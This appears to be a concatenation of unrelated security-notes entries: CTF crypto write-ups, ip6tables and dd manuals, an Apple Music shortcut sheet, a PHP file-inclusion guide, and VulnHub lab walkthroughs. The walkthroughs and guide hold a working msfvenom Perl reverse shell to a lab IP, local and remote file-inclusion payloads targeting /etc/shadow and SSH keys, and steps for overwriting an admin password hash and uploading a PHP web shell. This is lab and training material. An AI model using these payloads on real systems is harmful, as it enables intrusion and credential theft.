3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ``` 生成反弹shell ``` ┌──(root㉿kali)-[/tmp] └─# msfvenom -p cmd/unix/reverse_perl LHOST=192.168.2.5 LPORT=4444 -f raw [-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload [-] No arch selected, selecting arch: cmd from the payload No encoder specified, outputting raw payload Payload size: 230 bytes perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.2.5:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' ``` 使用`13853.pl`,修改payload ![image-20230208160725302](../../.gitbook/assets/image-20230208160725302.png)
sec-knowleage
# ICSS (Misc/Crypto, 471p, 18 solved) A blackbox crypto challenge. We get a base64 encoded ciphertext `ypovStywDFkNEotWNc3AxtlL2IwWKuJA1qawdvYynITDDIpknntQR1gB+Nzl` and access to a service which can encrypt for us up to 6 characters of input. First we need to understand how this encryption works, and for this we played a bit with it, sending specially crafted payloads. We can notice some things: 1. Encryption goes character by character, there are no blocks. It's easy to see when we add or remove characters. 2. Ciphertext for a character depends on the character itself and on the position where it is in the input. The same character on a different position encrypts differently, but the same character at the same position, even for different plaintexts gives the same encrypted value. For example: aaa -> a060a2 aba -> a063a2 So the encryption for the last `a` stayed the same. 3. An exception to above rule is the first character. It affects how rest of the string is encrypted. Another set of tests we did gave some interesting results. By sending `\x00\x00\x00\x00\x00\x00` bytes we got `010102030508` which looks like a Fibonacci sequence! It got even better when we sent `\x01\x00\x00\x00\x00\x00` because we got `00020305080d` which is the same sequence just shifter 1 position further (disregarding the first byte). If we now send `\x01\x05\x00\x00\x00\x00` we will get `00070305080d` so the sequence is the same but second byte is bigger by 5, which is the value we tried to encrypt. First byte encryption is unknown, but it depends only on this character, so we don't really care, it can be brute-forced. We did a bit more checking and it was quite clear that the encryption does something like: 1. Encrypt first byte in some special way 2. Every other byte in position `k` is encrypted as `Fibonacci(first_byte + k) + kth_byte_value` However, there is some weird stuff happening when overflow is reached, and it seemed some other special cases are present as well for even/odd numbers. Instead of trying to figure out how to handle those issues, we decided to go the "easy" way instead. We know that by changing the first byte we can "shift" the Fibonacci sequence for the rest of the encryption, but it means that we basically shift the positions! By sending `Xa` we can get encrypted byte `a` at positon `1` with starting byte `X`, but if we send `(X+1)a` we will shift the sequence and the result will be the same as encrypted `a` at position `2` with starting byte `X`. This means that we can pretty much get any encrypted byte at any position we want by encrypting only 2 bytes at a time! We use this approach with the server as "oracle" serving us the encrypted bytes and we brute-force the flag. What we want to do: 1. Take a single encrypted character from the encrypted flag we have at k-th position. 2. Encrypt via server every possible character at k-th position and compare it with the one we have. Once they match we know what was the plaintext character. 3. Repeat until we get whole flag. So we run: ```python import base64 import string from crypto_commons.netcat.netcat_commons import nc, send def brute_character_at_position(position, expected): for c in string.letters + "{_" + string.digits + string.punctuation: if int(get_encrypted_char_at_position(c, position), 16) == ord(expected): return c return "?" def get_encrypted_char_at_position(character, position): return get_ciphertext(chr(ord('E') + position) + character)[2:4] def get_ciphertext(c): url = 'icss.ctf.site' port = 40112 s = nc(url, port) s.recv(9999) s.recv(9999) send(s, c) s.recv(9999) result = s.recv(9999) return base64.b64decode(result).encode("hex") def main(): flag_ciphertext = base64.b64decode("ypovStywDFkNEotWNc3AxtlL2IwWKuJA1qawdvYynITDDIpknntQR1gB+Nzl") flag_plaintext = "E" for i in range(len(flag_ciphertext) - 1): expected_encrypted_byte = flag_ciphertext[i + 1] flag_plaintext += brute_character_at_position(i, expected_encrypted_byte) print(flag_plaintext) print(flag_plaintext) main() ``` After a while we finally get: `EKO{Mr_Leon4rd0_PisAno_Big0770_AKA_Fib@nacc!}`
sec-knowleage
ip6tables === linux中防火墙软件 ## 补充说明 **ip6tables命令** 和iptables一样,都是linux中防火墙软件,不同的是ip6tables采用的TCP/ip协议为IPv6。 ### 语法 ```shell ip6tables(选项) ``` ### 选项 ```shell -t<表>:指定要操纵的表; -A:向规则链中添加条目; -D:从规则链中删除条目; -i:向规则链中插入条目; -R:替换规则链中的条目; -L:显示规则链中已有的条目; -F:清楚规则链中已有的条目; -Z:清空规则链中的数据包计算器和字节计数器; -N:创建新的用户自定义规则链; -P:定义规则链中的默认目标; -h:显示帮助信息; -p:指定要匹配的数据包协议类型; -s:指定要匹配的数据包源ip地址; -j<目标>:指定要跳转的目标; -i<网络接口>:指定数据包进入本机的网络接口; -o<网络接口>:指定数据包要离开本机所使用的网络接口。 -c<计数器>:在执行插入操作(insert),追加操作(append),替换操作(replace)时初始化包计数器和字节计数器。 ``` ### 实例 在命令行窗口输入下面的指令就可以查看当前的 IPv6 防火墙配置: ```shell ip6tables -nl --line-numbers ``` **/etc/sysconfig/ip6tables文件** 使用编辑器编辑`/etc/sysconfig/ip6tables`文件: ```shell vi /etc/sysconfig/ip6tables ``` 可能会看到下面的默认 ip6tables 规则: ```shell *filter :INPUT accept [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] :RH-Firewall-1-INPUT - [0:0] -A INPUT -j RH-Firewall-1-INPUT -A FORWARD -j RH-Firewall-1-INPUT -A RH-Firewall-1-INPUT -i lo -j ACCEPT -A RH-Firewall-1-INPUT -p icmpv6 -j ACCEPT -A RH-Firewall-1-INPUT -p 50 -j ACCEPT -A RH-Firewall-1-INPUT -p 51 -j ACCEPT -A RH-Firewall-1-INPUT -p udp --dport 5353 -d ff02::fb -j ACCEPT -A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT -A RH-Firewall-1-INPUT -p udp -m udp --dport 32768:61000 -j ACCEPT -A RH-Firewall-1-INPUT -p tcp -m tcp --dport 32768:61000 ! --syn -j ACCEPT -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 22 -j ACCEPT -A RH-Firewall-1-INPUT -j reject --reject-with icmp6-adm-prohibited COMMIT ``` 与 IPv4 的 iptables 规则类似,但又不完全相同。 要开启 80 端口(HTTP 服务器端口),在 COMMIT 一行之前添加如下规则: ```shell -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 80 -j ACCEPT ``` `-p tcp`表示仅针对 tcp 协议的通信。`--dport`指定端口号。 要开启 53 端口(DNS 服务器端口),在 COMMIT 一行之前添加如下规则: ```shell -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 53 -j ACCEPT -A RH-Firewall-1-INPUT -m udp -p tcp --dport 53 -j ACCEPT ``` 同时针对 tcp 和 udp 协议开启 53 端口。 要开启 443 端口,在 COMMIT 一行之前添加如下规则: ```shell -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 443 -j ACCEPT ``` 要开启 25 端口(SMTP 邮件服务器端口),在 COMMIT 一行之前添加如下规则: ```shell -A RH-Firewall-1-INPUT -m tcp -p tcp --dport 25 -j ACCEPT ``` 对于那些没有特定规则与之匹配的数据包,可能是我们不想要的,多半是有问题的。我们可能也希望在丢弃(DROP)之前记录它们。此时,可以将最后一行: ```shell -A RH-Firewall-1-INPUT -j REJECT --reject-with icmp6-adm-prohibited COMMIT ``` 改为: ```shell -A RH-Firewall-1-INPUT -j LOG -A RH-Firewall-1-INPUT -j DROP COMMIT ``` 保存并关闭该文件。然后重新启动 ip6tables 防火墙: ```shell # service ip6tables restart ``` 然后重新查看 ip6tables 规则,可以看到如下所示的输出: ```shell # ip6tables -vnL --line-numbers ``` 输出示例: ```shell Chain INPUT (policy ACCEPT 0 packets, 0 bytes) num pkts bytes target prot opt in out source destination 1 42237 3243K RH-Firewall-1-INPUT all * * ::/0 ::/0 Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) num pkts bytes target prot opt in out source destination 1 0 0 RH-Firewall-1-INPUT all * * ::/0 ::/0 Chain OUTPUT (policy ACCEPT 12557 packets, 2042K bytes) num pkts bytes target prot opt in out source destination Chain RH-Firewall-1-INPUT (2 references) num pkts bytes target prot opt in out source destination 1 6 656 ACCEPT all lo * ::/0 ::/0 2 37519 2730K ACCEPT icmpv6 * * ::/0 ::/0 3 0 0 ACCEPT esp * * ::/0 ::/0 4 0 0 ACCEPT ah * * ::/0 ::/0 5 413 48385 ACCEPT udp * * ::/0 ff02::fb/128 udp dpt:5353 6 0 0 ACCEPT udp * * ::/0 ::/0 udp dpt:631 7 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:631 8 173 79521 ACCEPT udp * * ::/0 ::/0 udp dpts:32768:61000 9 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpts:32768:61000 flags:!0x16/0x02 10 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:22 11 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:80 12 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:53 13 4108 380K ACCEPT udp * * ::/0 ::/0 udp dpt:53 14 18 4196 REJECT all * * ::/0 ::/0 ``` **IPv6 私有 IP** IPv4 通常默认即可保护内部局域网私有 IP 上的主机。但是 IPv6 的地址非常丰富,不再需要使用类似 NAT 等协议的私有网络。这样一来,所有的内部主机都可以拥有公网 IP 而直接连接到互联网,也就同时暴露于互联网上的各种威胁之中了。那么,如何配置 IPv6 防火墙使其默认将除了 ping6 请求之外的所有输入数据包都丢弃呢?可以使用FC00::/7 前缀来标识本地 IPv6 单播地址。 **允许特定的 ICMPv6 通信** 使用 IPv6 的时候需要允许比 IPv4 更多类型的 ICMP 通信以保证路由和 IP 地址自动配置等功能正常工作。有时候,如果你的规则设置太过苛刻,可能都无法分配到正确的 IPv6 地址。当然,不使用 DHCP 而是手动配置 IP 地址的除外。 下面是一些比较常见的 ipv6-icmp 配置实例: ```shell :ICMPv6 - [0:0] # Approve certain ICMPv6 types and all outgoing ICMPv6 # http://forum.linode.com/viewtopic.php?p=39840#39840 -A INPUT -p icmpv6 -j ICMPv6 -A ICMPv6 -p icmpv6 --icmpv6-type echo-request -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type destination-unreachable -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type time-exceeded -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type parameter-problem -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type neighbour-solicitation -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type neighbour-advertisement -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type redirect -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type 141 -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type 142 -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type 148 -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type 149 -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type 130 -s fe80::/10 -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type 131 -s fe80::/10 -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type 132 -s fe80::/10 -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type 143 -s fe80::/10 -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type 151 -s fe80::/10 -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type 152 -s fe80::/10 -j ACCEPT -A ICMPv6 -p icmpv6 --icmpv6-type 153 -s fe80::/10 -j ACCEPT -A ICMPv6 -j RETURN -A OUTPUT -p icmpv6 -j ACCEPT ```
sec-knowleage
dd === 复制文件并对原文件的内容进行转换和格式化处理 ## 补充说明 **dd命令** 用于复制文件并对原文件的内容进行转换和格式化处理。dd命令功能很强大的,对于一些比较底层的问题,使用dd命令往往可以得到出人意料的效果。用的比较多的还是用dd来备份裸设备。但是不推荐,如果需要备份oracle裸设备,可以使用rman备份,或使用第三方软件备份,使用dd的话,管理起来不太方便。 建议在有需要的时候使用dd 对物理磁盘操作,如果是文件系统的话还是使用tar backup cpio等其他命令更加方便。另外,使用dd对磁盘操作时,最好使用块设备文件。 ### 语法 ```shell dd(选项) ``` ### 选项 ```shell bs=<字节数>:将ibs(输入)与obs(输出)设成指定的字节数; cbs=<字节数>:转换时,每次只转换指定的字节数; conv=<关键字>:指定文件转换的方式; count=<区块数>:仅读取指定的区块数; ibs=<字节数>:每次读取的字节数; obs=<字节数>:每次输出的字节数; of=<文件>:输出到文件; seek=<区块数>:一开始输出时,跳过指定的区块数; skip=<区块数>:一开始读取时,跳过指定的区块数; --help:帮助; --version:显示版本信息。 ``` ### 实例 ```shell [root@localhost text]# dd if=/dev/zero of=sun.txt bs=1M count=1 1+0 records in 1+0 records out 1048576 bytes (1.0 MB) copied, 0.006107 seconds, 172 MB/s [root@localhost text]# du -sh sun.txt 1.1M sun.txt ``` 该命令创建了一个1M大小的文件sun.txt,其中参数解释: * **if** 代表输入文件。如果不指定if,默认就会从stdin中读取输入。 * **of** 代表输出文件。如果不指定of,默认就会将stdout作为默认输出。 * **bs** 代表字节为单位的块大小。 * **count** 代表被复制的块数。 * **/dev/zero** 是一个字符设备,会不断返回0值字节(\0)。 块大小可以使用的计量单位表 单元大小 | 代码 ---- | ---- 字节(1B)| c 字节(2B)| w 块(512B)| b 千字节(1024B) | k 兆字节(1024KB)| M 吉字节(1024MB)| G 以上命令可以看出dd命令来测试内存操作速度: ```shell 1048576 bytes (1.0 MB) copied, 0.006107 seconds, 172 MB/s ``` **生成随机字符串** 我们甚至可以使用 /dev/urandom 设备配合 dd 命令 来获取随机字符串。 ```shell [root@localhost ~]# dd if=/dev/urandom bs=1 count=15|base64 -w 0 15+0 records in 15+0 records out 15 bytes (15 B) copied, 0.000111993 s, 134 kB/s wFRAnlkXeBXmWs1MyGEs ```
sec-knowleage
## 一、本地文件包含 文件包含漏洞的产生原因是在通过引入文件时,由于传入的文件名没有经过合理的校验,或者校检被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。 比如 `<? include($_GET['path']) ?>` 许多工具都支持本地文件包含漏洞的检测,Kadimus是其中一款。具体使用方法参见[Kadimus](https://github.com/P0cL4bs/Kadimus/) 以下是一些本地包含漏洞中常利用的服务器上的重要文件 ``` .htaccess /var/lib/locate.db /var/lib/mlocate/mlocate.db /var/log/apache/error.log /usr/local/apache2/conf/httpd.conf /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_rsa.keystore /root/.ssh/id_rsa.pub /root/.ssh/known_hosts /etc/shadow /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]* (文件标识符) /proc/mounts /proc/config.gz /tmp/sess_sessionid ``` 本地文件包含漏洞也常需要进行截断,以下是一些常用的截断方法 %00截断: `/etc/passwd%00` (需要 magic_quotes_gpc=off,PHP小于5.3.4有效) %00截断目录遍历: `/var/www/%00` (需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris) 路径长度截断: `/etc/passwd/././././././.[…]/./././././.` (php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256) 点号截断: `/boot.ini/………[…]…………` (php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256) %00 截断更多地用于文件包含,比如 `<?php include($_GET['path']).".jpg" >` 要求一定是jpg 后缀的,这样我们可以用 `1.php?path=php://input%00` 这样就把后面的 .jpg 吃掉了。同理 path=../../../../etc/passwd%00 读取 /etc/passwd,在存在文件名后缀限定的情况下,`path=../../../../etc/passwd%00.jpg`、`path=../../../../etc/passwd\0.jpg`、`path=..\\..\\..\\..\\etc/passwd\0.jpg` 当然也可以把 php 代码文件后缀改为 jpg,直接包含执行。 e.g [Cacti Superlinks Plugin 1.4-2 - RCE (LFI) via SQL Injection Exploit](https://www.exploit-db.com/exploits/35578/) 修复方案: php中可以使用 open_basedir 将用户文件访问限制在指定的区域。如将文件访问限制在 /dir/user/ 中。 在php.ini中设置 `open_basedir = /dir/user/` 但该方法并不是万能的,在某些情况下仍可能会被绕过, 对传入的参数进行校检和过滤始终是有必要的。 常见的导致文件包含的函数如下: PHP: include(), include_once(), require(), require_once(), fopen(), readfile() ... 当使用前4个函数包含一个新的文件时,该文件将作为 php 代码执行,php 内核不会在意该被包含的文件是什么类型。 包含 /proc/self/environ 可以看到系统的一些环境变量,如web 路径等。 ## 二、远程文件包含 `<?php include($_GET['file']); ?>` * 远程代码执行:`?file=[http|https|ftp]://example.com/shell.txt` (需要allow_url_fopen=On并且 allow_url_include=On) * file 协议读取本地文件:`file=file://etc/passwd` (需要allow_url_fopen=On并且 allow_url_include=On) * 利用php流input:`?file=php://input` (需要allow_url_include=On,详细→http://php.net/manual/en/wrappers.php.php) * 利用php流filter:`?file=php://filter/convert.base64-encode/resource=index.php` (同上) * 利用data URIs:`?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=%00` (需要allow_url_include=On) * 利用XSS执行任意代码:`?file=http://127.0.0.1/path/xss.php?xss=phpcode` (需要allow_url_fopen=On,allow_url_include=On并且防火墙或者白名单不允许访问外网时,先在同站点找一个XSS漏洞,包含这个页面,就可以注入恶意代码了) `<?php include($_GET['file'] . ".htm"); ?>` * `?file=http://example.com/shell` * `?file=http://example.com/shell.txt?` * `?file=http://example.com/shell.txt%23` (需要allow_url_fopen=On并且allow_url_include=On) * `?file=\evilshare\shell.php` (只需要allow_url_include=On) 无论是本地文件包含还是远程文件包含, 实际上我们操作文件的函数不只是include()一个,上面提到的一些截断的方法同样可以适用于以下函数: ![fileinclude](../pictures/fileinclue1.png) 自动化检测思路中,比较简单的一种是将url参数值替换为`./index.php`,如果存在漏洞会出现报错(根据不同系统语言而不同),比如 `Failed opening|failed to open stream` ## 三、任意文件读取 任意文件读取与文件包含的界限有点模糊,可以认为文件包含包括任意文件读取,只是任意文件读取不会造成代码执行,也就是文件内容输出的上下文不是脚本执行环境。 ``` 从链接上看,形如: inurl:"readfile.php?file=" 、inurl:"read.php?filename="、inurl:"download.php?file="、inurl:"down.php?file=" 从参数名看,形如: &RealPath= 、&FilePath= 、&filepath= 、&Path= 、&path= 、&inputFile= 、&url= 、&urls= 、&Lang= 、&dis= 、&data= 、&readfile= 、&filep= 、&src= 、&menu= 、META-INF 、WEB-INF ``` 自动化检测思路中,payload 是结合绕过姿势尝试读取一些常见的文件,比如 /etc/passwd,/WEB-INF/web.xml 等,匹配是否是所读文件的内容,若是则表示存在漏洞。
sec-knowleage
# Hack Me Please > https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar 靶场IP:`192.168.32.226` 扫描对外端口服务 ``` ┌──(root💀kali)-[~] └─# nmap -p 1-65535 -sV 192.168.32.226 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 04:54 EDT Nmap scan report for 192.168.32.226 Host is up (0.0010s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 3306/tcp open mysql MySQL 8.0.25-0ubuntu0.20.04.1 33060/tcp open mysqlx? ``` 访问80端口服务 ![image-20220911170000473](../../.gitbook/assets/image-20220911170000473.png) 爆破目录,没有发现任何有用的目录 ``` ┌──(root💀kali)-[/tmp] └─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.32.226/ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.32.226/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/09/11 05:01:50 Starting gobuster in directory enumeration mode =============================================================== /img (Status: 301) [Size: 314] [--> http://192.168.32.226/img/] /css (Status: 301) [Size: 314] [--> http://192.168.32.226/css/] /js (Status: 301) [Size: 313] [--> http://192.168.32.226/js/] /fonts (Status: 301) [Size: 316] [--> http://192.168.32.226/fonts/] /server-status (Status: 403) [Size: 279] =============================================================== 2022/09/11 05:02:07 Finished =============================================================== ``` 在JS文件找到一个路径:`/seeddms51x/seeddms-5.1.22/` ![image-20220911170536079](../../.gitbook/assets/image-20220911170536079.png) 访问:`/seeddms51x/seeddms-5.1.22/`,发现是`SeedDMS` ![image-20220911170613195](../../.gitbook/assets/image-20220911170613195.png) 再次爆破目录 ``` ┌──(root💀kali)-[/tmp] └─# gobuster dir -w /usr/share/wordlists/rockyou.txt -u http://192.168.32.226/seeddms51x/seeddms-5.1.22/ -edrf -x php,html,cgi ``` 使用 curl 下载文件并在其中寻找数据库配置 ```sh ┌──(root💀kali)-[/tmp] └─# curl http://192.168.32.226/seeddms51x/conf/settings.xml -sL | grep -i db - dbDriver: DB-Driver used by adodb (see adodb-readme) - dbHostname: DB-Server - dbDatabase: database where the tables for seeddms are stored (optional - see adodb-readme) - dbUser: username for database-access - dbPass: password for database-access <database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="seeddms" doNotCheckVersion="false"> - extraPath: Path to addtional software. This is the directory containing additional software like the adodb directory, or the pear Log package. This path will be added to the php include path ``` 使用上述步骤中的凭据登录 MySQL ``` mysql -u seeddms -pseeddms -D seeddms --silent -h 192.168.32.226 ``` 在那里,我发现了两个表,其中包含**用户**字符串 `users`和`tblUsers`. 由于我无法破解密码,所以我更新了管理员用户的密码 ![image-20220911171430692](../../.gitbook/assets/image-20220911171430692.png) 使用**admin:test**凭据以管理员身份成功登录应用程序 ``` -- md5("test") = d8e8fca2dc0f896fd7cb4cb0031ba249 UPDATE tblUsers set pwd='098f6bcd4621d373cade4e832627b4f6' where login='admin'; ``` ![image-20220911171901787](../../.gitbook/assets/image-20220911171901787.png) 在搜索漏洞利用时,我发现这个应用程序的当前版本容易被任意文件上传。这是一个好的开始,我可以上传我的 web shell 并获得反向 Meterpreter > https://www.exploit-db.com/exploits/47022 首先,我们必须通过导航到"添加文档"菜单来上传 shell。接下来,我们必须浏览 PHP 文件并上传它。这会给我们一个空白页。但是,返回仪表板后,我们会看到一个文件已经上传。 ![image-20220911172238333](../../.gitbook/assets/image-20220911172238333.png) ![image-20220911172349781](../../.gitbook/assets/image-20220911172349781.png) 访问反弹shell:`http://192.168.32.226/seeddms51x/data/1048576/4/1.php` ![image-20220911172639310](../../.gitbook/assets/image-20220911172639310.png) 查看密码文件 ![image-20220911172705555](../../.gitbook/assets/image-20220911172705555.png) 我们已经从数据库中获得了`saket`用户的密码。 ``` MySQL [seeddms]> select * from users; Employee_id Employee_first_name Employee_last_name Employee_passwd 1 saket saurav Saket@#$1337 ``` ![image-20230208145813634](../../.gitbook/assets/image-20230208145813634.png)
sec-knowleage
### User-kernal介绍 这里主要有 - 默认:用户态不可直接访问内核态的数据、执行内核态的代码 - SMEP:内核态不可执行用户态的代码 - SMAP:内核态不可访问用户态的数据 - KPTI:用户态不可看到内核态的页表;内核态不可执行用户态的代码(模拟)
sec-knowleage
require 'openssl' e = 65537 while true p = OpenSSL::BN.generate_prime(1024, false) q = OpenSSL::BN.new(e).mod_inverse(p) next unless q.prime? key = OpenSSL::PKey::RSA.new key.set_key(p.to_i * q.to_i, e, nil) File.write('publickey.pem', key.to_pem) File.binwrite('flag.encrypted', key.public_encrypt(File.binread('flag'))) break end
sec-knowleage
--- title: Apple Music date: 2022-11-23 16:23:31.700157 background: bg-[#e05564] label: Mac tags: - - mac categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 62 keyboard shortcuts found in the Apple Music app. This application is MacOS-only. --- Keyboard Shortcuts ------------------ ### Playing Music {.row-span-2} Shortcut | Action ---|--- `Space` | Start playing or pause the selected song `Enter` | Play the currently selected song from the beginning `Cmd` `Opt` `Right` | Move forward within a song `Cmd` `Opt` `Left` | Move backward within a song `Cmd` `.` | Stop playing the selected song `Right` | When a song is playing, play the next song in a list `Left` | When a song is playing, play the previous song in a list `Cmd` `L` | Show the currently playing song in the list `Cmd` `Opt` `U` | Show the Playing Next queue `Opt` `Right` | Listen to the next album in a list `Opt` `Left` | Listen to the previous album in a list `Cmd` `Up` | Increase the volume `Cmd` `Down` | Decrease the volume `Cmd` `Opt` `E` | Open the equalizer `Cmd` `Shift` `Right` | Go to the next chapter, if available `Cmd` `Shift` `Left` | Go to the previous chapter, if available `Cmd` `U` | Stream audio file at a specific URL to Music {.shortcuts} ### Playlists Shortcut | Action ---|--- `Cmd` `N` | Create a new playlist `Cmd` `Shift` `N` | Create a playlist from a selection of songs `Cmd` `Opt` `N` | Create a new Smart Playlist `Opt` `Space` | Start the Genius Shuffle `Cmd` `R` | Refresh a Genius Playlist, when the playlist is selected `Cmd` `Del` | Delete the selected playlist without confirmation `Opt` `Del` | Delete the selected playlist and all songs it contains from your library `Opt` `Del` | Delete the selected song from your library and all playlists {.shortcuts} ### Window Options {.row-span-2} Shortcut | Action ---|--- `Cmd` `Shift` `M` | Open the MiniPlayer `Cmd` `Shift` `F` | Open the Full Screen Player `Cmd` `Ctrl` `F` | Toggle full-screen view `Cmd` `/` | Show or hide the status bar `Cmd` `I` | Open the info window for the selected song `Cmd` `N` | In the info window, see information for the next song `Cmd` `P` | In the info window, see information for the previous song `Cmd` `Shift` `[` | Go to the previous pane in the info window `Cmd` `Shift` `]` | Go to the next pane in the info window `Cmd` `J` | Open the View Options window for the selected source `Cmd` `T` | Turn the visualizer on or off `?` | See more options when a visual effect is showing `Cmd` `R` | Refresh Apple Music or the iTunes Store `Cmd` `0` | Open the Music window `Cmd` `W` | Close the Music window `Cmd` `M` | Put the Music window in the Dock `Cmd` `H` | Hide the Music window `Cmd` `Opt` `H` | Hide all other applications {.shortcuts} ### Library Shortcut | Action ---|--- `Cmd` `O` | Add a file to your library `Cmd` `Shift` `R` | Show where a song file is located `Cmd` `F` | Select the search field `Cmd` `Z` | Undo your last typing change while editing an item `Cmd` `X` | Cut the selected song's information or artwork `Cmd` `C` | Copy the selected song's information or artwork `Cmd` `V` | Paste the selected song's information or artwork `Cmd` `A` | Select all the songs in the list `Cmd` `B` | Show or hide the column browser `Cmd` `Shift` `A` | De-select all the songs in the list {.shortcuts} ### iTunes Store Shortcut | Action ---|--- `Opt` `Enter` | Initiate a search in the iTunes Store `Cmd` `]` | Go to the next page in the iTunes Store `Cmd` `[` | Go to the previous page in the iTunes Store `Cmd` `R` | Reload the current page {.shortcuts} ### Other Shortcut | Action ---|--- `Cmd` `,` | Open Music Preferences `Cmd` `Q` | Quit the Music app `Cmd` `E` | Eject a CD `Cmd` `?` | Open the Music Help menu `Cmd` `Opt` | Open a different music library, while opening Music {.shortcuts} Also see -------- - [Keyboard shortcuts for Music on Mac](https://support.apple.com/guide/music/keyboard-shortcuts-mus1019/mac) _(support.apple.com)_
sec-knowleage
# RSA (crypto, 300p) In the challenge we get a [sage code](RSA.sagews) with some basic RSA encryption, and [a couple of messages and keys](message.txt). Each modulus is large, and doesn't seem to be easily factorizable, but since we've a couple of them we can check if they don't share a prime via GCD - and they do. This means we can use GCD to extract prime factors and recover the private RSA keys and decrypt the messages: ```python from crypto_commons.rsa.rsa_commons import common_factor_factorization, rsa_printable, modinv def main(): c1 = 18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422 e1, n1 = (65537, 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347) c2 = 27979368157170890767030069060194038526134599497456846620984054211906413024410400026053694007247773572972357106574636186987337336771777265971389911503143036021889778839064900818858188026318442675667707 e2, n2 = (65537, 46914096084767238967814493997294740286838053572386502727910903794939283633197997427383196569296188299557978279732421725469482678512672280108542428152186999218210536447287087212703368704976239539968977) c3 = 24084879450015204136831744759734371350696278325227327049743434712309456808867398488915798176282769616955247276506807739249439515225213919008982824219656080794207250454008942016125074768497986930713993 e3, n3 = (65537, 24543003393712692769038137223030855401835344295968717177380639898023646407807465197761211529143336105057325706788229129519925129413109571220297378014990693203802558792781281981621549760273376606206491) ciphertexts = [c1, c2, c3] moduli = [n1, n2, n3] e = 65537 for na, nb, p in common_factor_factorization(moduli): index_a = moduli.index(na) index_b = moduli.index(nb) print(rsa_printable(ciphertexts[index_a], modinv(e, (p - 1) * (na / p - 1)), na)) print(rsa_printable(ciphertexts[index_b], modinv(e, (p - 1) * (nb / p - 1)), nb)) main() ``` And we get `TMCTF{B3Car3fu11Ab0utTh3K3ys}`
sec-knowleage
